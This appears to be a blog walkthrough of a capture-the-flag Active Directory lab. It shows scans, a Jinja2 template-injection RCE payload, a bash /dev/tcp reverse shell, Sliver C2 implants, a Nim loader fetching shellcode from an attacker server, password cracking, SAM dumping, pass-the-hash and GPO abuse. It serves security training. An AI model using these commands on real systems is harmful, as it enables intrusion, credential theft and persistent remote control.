Logo Qurti's web

Challenge Lab Odyssey (Hard)

This is a hard-rated Active Directory challenge lab!

Mar 9, 2026 - 15 minute read
feature image

About image

Passive Recon

Initially we’re given a little bit of information about our target and how it’s different from the usual engagements:

Objective / Scope

You are a member of the Hack Smarter Red Team and have been assigned to perform a black-box penetration test against a client's critical infrastructure. There are three machines in scope: one Linux web server and two Windows enterprise hosts.

The client’s environment is currently in a degraded state due to ongoing migration efforts; the Domain Controllers are experiencing synchronization failures. Consequently, standard automated LDAP enumeration tools (such as BloodHound) are expected to fail or return unreliable data. The client wants to assess if an attacker can thrive in this "broken" environment where standard administrative tools are malfunctioning.

This challenge provides us with 3 machines Note: (We don’t know if the machines are running extra servers or instances yet.)

Before I even started active reconnaissance, the structure of the victim’s infrastructure already made me suspect that the attack could involve compromising the public-facing web server and then gaining internal access through pivoting. That is a very common attack chain in CTFs and possibly real life too!

Active Recon

Machine 1 - DC-01

sudo rustscan -a 10.1.65.139 -b 4500 --ulimit 5000 -- -sV -sC -A -v

Results:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
Open 10.1.65.139:53 - DNS
Open 10.1.65.139:88 - Kerberos 
Open 10.1.65.139:135 - RPC
Open 10.1.65.139:139 - NBIOS
Open 10.1.65.139:389 - LDAP
Open 10.1.65.139:445 - SMB
Open 10.1.65.139:464 - Kerb Pass Change req
Open 10.1.65.139:593 - RPC OVER HTTP
Open 10.1.65.139:636 - SECURE LDAP
Open 10.1.65.139:5985
Open 10.1.65.139:9389
Open 10.1.65.139:49664
Open 10.1.65.139:49668
Open 10.1.65.139:49678
Open 10.1.65.139:49669
Open 10.1.65.139:49667
Open 10.1.65.139:49677
Open 10.1.65.139:49697
Open 10.1.65.139:49710

A lil more detailed scan using nmap

sudo nmap -T5 -A -sCV 10.1.65.139
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
53/tcp   open  domain             Simple DNS Plus
88/tcp   open  kerberos-sec       Microsoft Windows Kerberos (server time: 2025-12-21 19:42:22Z)
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
389/tcp  open  ldap               Microsoft Windows Active Directory LDAP (Domain: hsm.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http         Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap               Microsoft Windows Active Directory LDAP (Domain: hsm.local0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
3389/tcp open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=DC01.hsm.local
| Not valid before: 2025-11-17T19:53:56
|_Not valid after:  2026-05-19T19:53:56
|_ssl-date: TLS randomness does not represent time
| rdp-ntlm-info: 
|   Target_Name: HSM
|   NetBIOS_Domain_Name: HSM
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: hsm.local
|   DNS_Computer_Name: DC01.hsm.local
|   Product_Version: 10.0.26100
|_  System_Time: 2025-12-21T19:43:58+00:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Timing level 5 (Insane) used
No OS matches for host
Network Distance: 3 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-12-21T19:44:00
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   155.34 ms 10.200.0.1
2   ...
3   155.44 ms 10.1.65.139

DC name = hsm.local RDP is on

Machine 2 - WKST-01

Identified as EC2AMAZ-NS87CNK.hsm.local

Rustscan failed to get any info on this machine, so I just did with nmap Results:

sudo nmap -T5 -A -sCV 10.1.144.223
PORT     STATE SERVICE            VERSION
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=EC2AMAZ-NS87CNK.hsm.local
| Not valid before: 2025-11-29T13:15:34
|_Not valid after:  2026-05-31T13:15:34
|_ssl-date: TLS randomness does not represent time
| rdp-ntlm-info: 
|   Target_Name: HSM
|   NetBIOS_Domain_Name: HSM
|   NetBIOS_Computer_Name: EC2AMAZ-NS87CNK
|   DNS_Domain_Name: hsm.local
|   DNS_Computer_Name: EC2AMAZ-NS87CNK.hsm.local
|   Product_Version: 10.0.26100
|_  System_Time: 2025-12-21T19:35:12+00:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Timing level 5 (Insane) used
No OS matches for host
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-12-21T19:35:13
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   213.20 ms 10.200.0.1
2   ...
3   215.04 ms 10.1.144.223

Main info: This is likely a domain joined Windows workstation machine (The name also suggests to a workstation or server??) SMB signing seems to be enabled but not required

Machine 3 - Web-01

sudo rustscan -a 10.1.77.159 -b 4500 --ulimit 5000 -- -sV -sC -A -v

Results:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0a:fa:6d:2c:df:42:fb:f5:b6:9e:58:7b:f3:7a:4f:79 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLM+s5/IwU3j2HpsEAzXux+Wh0J9wDkkVwlDemNX3NsvCBhRuNSUJiC2wW6ONYD9S9pLr4it9d8lYVXbQH0GVYs=
|   256 95:8e:3b:f6:65:49:2c:61:f7:70:20:ca:90:9e:13:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIdbSQikZVNfCE7cGDXX+C94H5OFHybc4N+t8KxrgyCL
5000/tcp open  upnp?   syn-ack ttl 62
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.1.3 Python/3.12.3
|     Date: Sun, 21 Dec 2025 19:30:17 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 846
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head><title>Odyssey Portal</title></head>
|     <body style="font-family:Arial;">
|     <header style="background:#2c3e50; color:#fff; padding:20px;">
|     <h1>Odyssey Portal</h1>
|     <p>Internal Template Preview Service</p>
|     </header>
|     <nav style="background:#34495e; padding:10px;">
|     href="/">Home</a> | <a href="/templates">Templates</a> | 
|     href="/reports">Reports</a> | <a href="/support">Support</a>
|     </nav>
|     <main style="padding:20px;">
|     <h2>Enter Your Template</h2>
|     <form method="POST">
|     <input type="text" name="template" placeholder="ping" size="60">
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=12/21%Time=69484AC9%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,3FC,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.3
SF:\x20Python/3\.12\.3\r\nDate:\x20Sun,\x2021\x20Dec\x202025\x2019:30:17\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x20846\r\nConnection:\x20close\r\n\r\n\n\n\x20\x20\x20\x20<!DOCTYPE\x
SF:20html>\n\n\x20\x20\x20\x20<html>\n\n\x20\x20\x20\x20<head><title>Odyss
SF:ey\x20Portal</title></head>\n\n\x20\x20\x20\x20<body\x20style=\"font-fa
SF:mily:Arial;\">\n\n\x20\x20\x20\x20\x20\x20\x20\x20<header\x20style=\"ba
SF:ckground:#2c3e50;\x20color:#fff;\x20padding:20px;\">\n\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20<h1>Odyssey\x20Portal</h1>\n\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>Internal\x20Template\x20Prev
SF:iew\x20Service</p>\n\n\x20\x20\x20\x20\x20\x20\x20\x20</header>\n\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<nav\x20style=\"background:#34495e;\x20padd
SF:ing:10px;\">\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20h
SF:ref=\"/\">Home</a>\x20\|\x20<a\x20href=\"/templates\">Templates</a>\x20
SF:\|\x20\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20href=\"
SF:/reports\">Reports</a>\x20\|\x20<a\x20href=\"/support\">Support</a>\n\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20</nav>\n\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20<main\x20style=\"padding:20px;\">\n\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<h2>Enter\x20Your\x20Template</h2>\n\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20<form\x20method=\"POST\">\n\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<input\x20type=\"
SF:text\"\x20name=\"template\"\x20placeholder=\"ping\"\x20size=\"60\">\n\n
SF:\x20\x20")%r(RTSPRequest,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\">
SF:\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20char
SF:set=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20respons
SF:e</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20400\x2
SF:0-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x
SF:20\x20\x20\x20</body>\n</html>\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%), ASUS RT-N56U WAP (Linux 3.4) (92%), Linux 3.16 (92%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.1 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=12/21%OT=22%CT=%CU=30721%PV=Y%DS=3%DC=T%G=N%TM=69484B31%P=x86_64-pc-linux-gnu)
SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)
OPS(O1=M578ST11NW7%O2=M578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578ST11NW7%O6=M578ST11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
ECN(R=Y%DF=Y%T=40%W=F507%O=M578NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 5.255 days (since Tue Dec 16 08:24:44 2025)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5000/tcp)
HOP RTT       ADDRESS
1   132.10 ms 10.200.0.1
2   ...
3   133.79 ms 10.1.77.159

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:32
Completed NSE at 14:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:32
Completed NSE at 14:32, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:32
Completed NSE at 14:32, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.23 seconds
           Raw packets sent: 68 (4.684KB) | Rcvd: 40 (3.569KB)

Main info: HTTP SSH

Attacking info from the current port scans

Machine 1

  • A full AD service is exposed

Machine 2

  • Possibly a domain joined workstation machine, could be used to pivot

Machine 3

  • Linux web server, running Python Werkzeug app called Odyssey Portal??
  • SSH also open with modern openSSH

Web server Enumeration

Now that we’ve went through our targets info we can start to plan to enumerate the hosts a bit more, as the web server seems like a juicy target I’ll start from there. ![[image-797.png]]

Web server enumeration - Host 3

Web server - directory brute forcing using gobuster
1
gobuster dir -u http://fusion.corp/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Results:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─[][purpleware@parrot][~]
└──╼ $gobuster dir -u http://10.1.77.159:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medi
um.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.1.77.159:5000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 554]
/support              (Status: 200) [Size: 574]
/templates            (Status: 200) [Size: 540]
/reports              (Status: 200) [Size: 742]
/console              (Status: 400) [Size: 167]

Upon visiting the web page hosted on port 5000, we’re greetered with some form of portal that takes an input and renders it. I tried to see if this is vulnerable to Server-side template injection with the following: https://github.com/payloadbox/ssti-payloads https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md

${{3*3}}

And it was! This is great news for us :)

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
  • Now we have an RCE (Remote Code Execution), which means we’re able to execute code In this we just run id
Gaining initial access on the Linux machine

Let’s move to getting a revshell

1
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' | base64 -w0
  • This will gives us the b64 encoded rev payload

Enumerating the linux box to gain information and finding possible ways to priv esc

Here we found that some SSH keys are clearly on the machine, the private key should allow us to authenticate as that user, and upon checking the users’ perms it’s

Yup, privilege escalation was simple as the public and private key were on the machine and available to us, thus allowing me to use them to sign in as the root user.

Now we can enumerate the machine without any restrictions, and for that we can use a tool like linpeas

Upon executing linpeas we’re given A LOT of information, but from all of this we were able to find some AWS credentials?

Looting the machine & connecting it to C2 network
generate --os linux --arch amd64 --mtls 10.10.10.10:8888
mtls --lport 443
curl http://ip:port/file -o file

First user flag

cat /root/user.txt
HSM{[REDACTED]}
sliver (COLORFUL_PANTYHOSE) > cat ./loot/user.txt

[!] rpc error: code = Unknown desc = stat /root/loot/user.txt: no such file or directory

sliver (COLORFUL_PANTYHOSE) > loot

Type  Name      File Name  UUID                                  
====  ====      =========  ====                                  
File  shadow    shadow     788de88b-7e42-4738-a2c4-70f39002c193  
File  passwd    passwd     baef63ae-f1bc-496a-8d5b-a09d7722fd88  
File  user.txt  user.txt   c1105263-aa26-4600-91a5-316d0b3feb46  
File  shadow    shadow     2cac45a7-c0be-461e-b836-d2b36a7c842d  

sliver (COLORFUL_PANTYHOSE) > shell

? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

[*] Started remote shell with pid 159081

root@ip-10-1-77-159:~# cat /etc/shadow
root:[REDACTED]:20410:0:99999:7:::
daemon:*:20383:0:99999:7:::
bin:*:20383:0:99999:7:::
sys:*:20383:0:99999:7:::
sync:*:20383:0:99999:7:::
games:*:20383:0:99999:7:::
man:*:20383:0:99999:7:::
lp:*:20383:0:99999:7:::
mail:*:20383:0:99999:7:::
news:*:20383:0:99999:7:::
uucp:*:20383:0:99999:7:::
proxy:*:20383:0:99999:7:::
www-data:*:20383:0:99999:7:::
backup:*:20383:0:99999:7:::
list:*:20383:0:99999:7:::
irc:*:20383:0:99999:7:::
_apt:*:20383:0:99999:7:::
nobody:*:20383:0:99999:7:::
systemd-network:!*:20383::::::
systemd-timesync:!*:20383::::::
dhcpcd:!:20383::::::
messagebus:!:20383::::::
syslog:!:20383::::::
systemd-resolve:!*:20383::::::
uuidd:!:20383::::::
tss:!:20383::::::
sshd:!:20383::::::
pollinate:!:20383::::::
tcpdump:!:20383::::::
landscape:!:20383::::::
fwupd-refresh:!*:20383::::::
polkitd:!*:20383::::::
ec2-instance-connect:!:20383::::::
_chrony:!:20383::::::
ubuntu:!:20409:0:99999:7:::
ghill_sa:[REDACTED]:20409:0:99999:7:::
root@ip-10-1-77-159:~# 

There’s a user gill_sa with the hashed password of

[REDACTED]
ghill_sa:[REDACTED]:20409:0:99999:7:::
[REDACTED]:20409:0:99999:7:::

I wasn’t exactly sure what hashing algorithm has been used here so I resorted to using https://hashcat.net/wiki/doku.php?id=example_hashes

I found that it’s the id 1800

So now I’m able to attempt to crack it using hashcat

echo 'hash' > hashe.txt
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat refused to work for whatever reason so I decided to use john instead!

john --format=sha512crypt hashy.txt --w=/usr/share/wordlists/rockyou.txt
1
2
3
┌─[purpleware@parrot][~/Downloads/hs/Odyssey/linux/e]
└──╼ $echo '[REDACTED]' > hash.txt
john --format=sha512crypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Results Cracked pass:

[[REDACTED]]      (?)     
[1;34m══╣ User Data


══╣ EC2 Security Credentials
{
  "Code": "Success",
  "LastUpdated": "2025-12-21T22:03:52Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAZUVOFBPTO7PZ3I2P",
  [REDACTED]
}
  • these may become handy once we got our foothold on the Windows network.

users.txt

ghill_sa
root
j.smith

pass

[REDACTED]

We can try password spraying with the current known passwords to see if any of them has been reused in the other machines.

I checked DC didn’t have anything but workstation did

nxc rdp 10.1.65.139 -u users.txt -p '[REDACTED]' --local-auth

Windows workstation exploitation

Initial access to the windows workstation machine

evil-winrm -i 10.1.65.139 -u ghill_sa -p '[REDACTED]'

Winrm is disabled so let’s use RDP

xfreerdp /v:10.1.144.223 /u:ghill_sa /p:[REDACTED] +clipboard /dynamic-resolution

Initial access to the workstation has now been achieved, we don’t seem to have that many permission however the machine itself maybe vulnerable or contain some secrets so let’s keep looking around

Privilege escalation via Hashdumping - SeBackUp Priv

Since we’re clearly part of the Backup operators we can easily dump the hashes of the administrator user to privilege escalate

Ah after trying to save the registry I realized we do have the permission but due to the enviroment’s nature of being an up-to-date windows 11 box, it means it has some basic hardening. This means the privilege is actually disabled by default, we still inherit it but it’s disabled from the usual save

We’re able to dump the hashes using diskshadow

Living off the land, using Windows own backup tool to dump Administrator’s hashes
1
diskshadow
set metadata C:\Windows\Tempt\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create

This creates a shadow copy of our machine, the usual usage is to make a safety backup for your machine but way less known thing is that this can actually be used to access data you normally shouldn’t

expose %cdrive% E:

Now that we got a “backed up” storage, we’re able to access this to dump the stored registries

end backup
robocopy  /b E:\Windows\System32\Config C:\Users\ghill_sa\Downloads

Now we’ve successfuly stolen registries which we can use to dump the administrator’s hash

To exfiltrate I used a cool trick I’ve learnt before which is basically creating a temp share which is connected to my own machine

xfreerdp /v:10.1.144.223 /u:ghill_sa /p:'[REDACTED]' \
  +clipboard /dynamic-resolution \
  /drive:loot,/home/purpleware/Downloads/hs/Odyssey/linux

Now that both the SYSTEM.reg and SAM.reg registries have been exfiltrated to my machine, I’m able to dump the NTLM hashes

impacket-secretsdump -sam SAM -system SYSTEM local

With this we’ve successfully compromised the Administrator’s hash, and by simply using pass-the-hash attack we will be able to sign in (we could also crack the pass)

Hashes:

└──╼ $impacket-secretsdump -sam SAM -system SYSTEM local
Impacket v0.13.0.dev0+20250702.182415.b33e994d - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x7c7cfe4ff1d4639aaa93ddd2be306cc0
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[REDACTED]
[*] Cleaning up... 
Administrator = username  
500 = RID   
[REDACTED] = NTLM HASHED password
xfreerdp /v:10.1.144.223 \
  /u:Administrator \
  /pth:[REDACTED]\
  +clipboard /dynamic-resolution \
  /drive:loot,/home/purpleware/Downloads/hs/Odyssey/linux

Ah seems like we can’t do pass the hash, some polic is forcing us to use plaintext passwords so we will need to crack the NTLM hash

[REDACTED]
echo '[REDACTED]' > nhash.txt
hashcat -m 1000 -a 0 nhash.txt /us/share/wordlists/rockyou.txt

No luck with cracking the NTLM hash’s password. I’ve tried basically everything at this point so it’s good idea to move to see if there’s something else.

We’ve tried WINRM - Disabled RDP - Disabled without plaintext = No hashes allowed SMB ?

Let’s try executing commands via SMB

Creating our own user with Administrator privileges without any limits

nxc smb 10.1.144.223 \
  -u Administrator \
  -H [REDACTED]\
  --exec-method=smbexec --local-auth \
  -X "net user purpleware h4cked4acocunt123% /add; net localgroup Administrators purpleware /add"

Commands were successfully executed and now we’ve our own user with administrator privileges on the system

Signing into the created user:

xfreerdp /v:10.1.144.223 \
  /u:purpleware \
  /p:h4cked4acocunt123% \
  +clipboard /dynamic-resolution \
  /drive:loot,/home/purpleware/Downloads/hs/Odyssey/linux

User creation seems to fail due to some issues, let’s just try to elevate our current user to administrator

nxc smb 10.1.144.223 \
  -u Administrator \
  -H [REDACTED]\
  --exec-method=smbexec --local-auth \
  -X "net localgroup Administrators ghill_sa /add"

Didn’t work either so I just used the hash to actually sign in as that one is being validated, but our commands to create or elevate our user are being filtered or just voided

impacket-smbclient -hashes :[REDACTED]\
  Administrator@10.1.144.223

Still issues but finally with impacket’s module smbexec I was able to get a interactive prompt

impacket-smbexec -hashes :[REDACTED]Administrator@10.1.144.223

Added

nxc smb 10.1.144.223 -u administrator -H '[REDACTED]' --local-auth --exec-method=smbexec -X 'net user administrator pased232!'

xfreerdp /v:10.1.144.223 \
  /u:Administrator \
  /p:pased232! \
  +clipboard /dynamic-resolution \
  /drive:loot,/home/purpleware/Downloads/hs/Odyssey/linux

All the users

Since bbarkinsons is a admin account we will try to sign into that too

[REDACTED]
evil-winrm -i 10.1.144.233 -u 'bbarkinson' -H '[REDACTED]'

Domain Controller exploitation

Now that we’ve finally obtained domain joined user’s credentials we’re able to sign into the Domain controller server, the heart behind it all.

evil-winrm -i 10.1.65.139 -u 'bbarkinson' -H '[REDACTED]'

And with that we’re insdie the machine, let’s start enumerating and connect it to our Sliver C2 network

Finally we’re making some serious progress, now that the victim is part of our C2 we’re able to enumerate it further while also making sure that we’ve persistent access even if the current session dies.

Our upload was detected and removed by the Windows antivirus.

Bypassing Windows defender, and loading our malicious shellcode in memory

This bypass will be relatively simple but still work just as well

  1. We generate a sliver shellcode and store it on our machine (This will be hosted on port 8090)
  2. We use our custom loader, which will pull the shellcode from our machine and run it in memory
  3. Shellcode runs the malicious code in memory, forcing a connection to our C2 server
  4. Victim is forced to connect to the C2 network, and can now be remotely controlled.
generate --mtls 10.200.25.6:443 --os windows --arch amd64 --format shellcode --save updates.bin
  • Generates the shellcode, which will act as the agent that connects back to our C2 server
python -m http.server 8090
  • Starts up the python server, serving the malicious shellcode payload
gedit stager.nim
  • Edited the contents of the loader, and make it pull the shellcode and run it in memory
nim c -d:release --cpu:amd64 --os:windows --cc:gcc --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc stager.nim
  • Compile the loader, and prepare for execution

Collecting data about our victim and enumerating

sharp-hound-3 -- -c ACL,Group,Container,Session

So GPO name is finance policy which we got GenericWRITE to which emans we can actually add malware into the scheduled task

Virtual env

source ~/.venv/bin/activate
pygpoabuse.py hsm.local/bbarkinson -hashes :[REDACTED] -gpo-id "526CDF3A-10B6-4B00-BCFA-36E59DCD71A2" -dc-ip 10.1.65.139 -f
pip3 install msldap
pip3 install impacket
python3 pygpoabuse.py hsm.local/bbarkinson -hashes :[REDACTED] -gpo-id "526CDF3A-10B6-4B00-BCFA-36E59DCD71A2" -dc-ip 10.1.65.139 -f

Now that the admin user is created with admin perms we can do

evil-winrm -i 10.1.65.139 -u john -p '[REDACTED]'
sliver
  • Open up sliver CLI
mtls --lport 443
  • Starts a listener, which will catch any connections

Who needs sleep when you can hack??

Victory!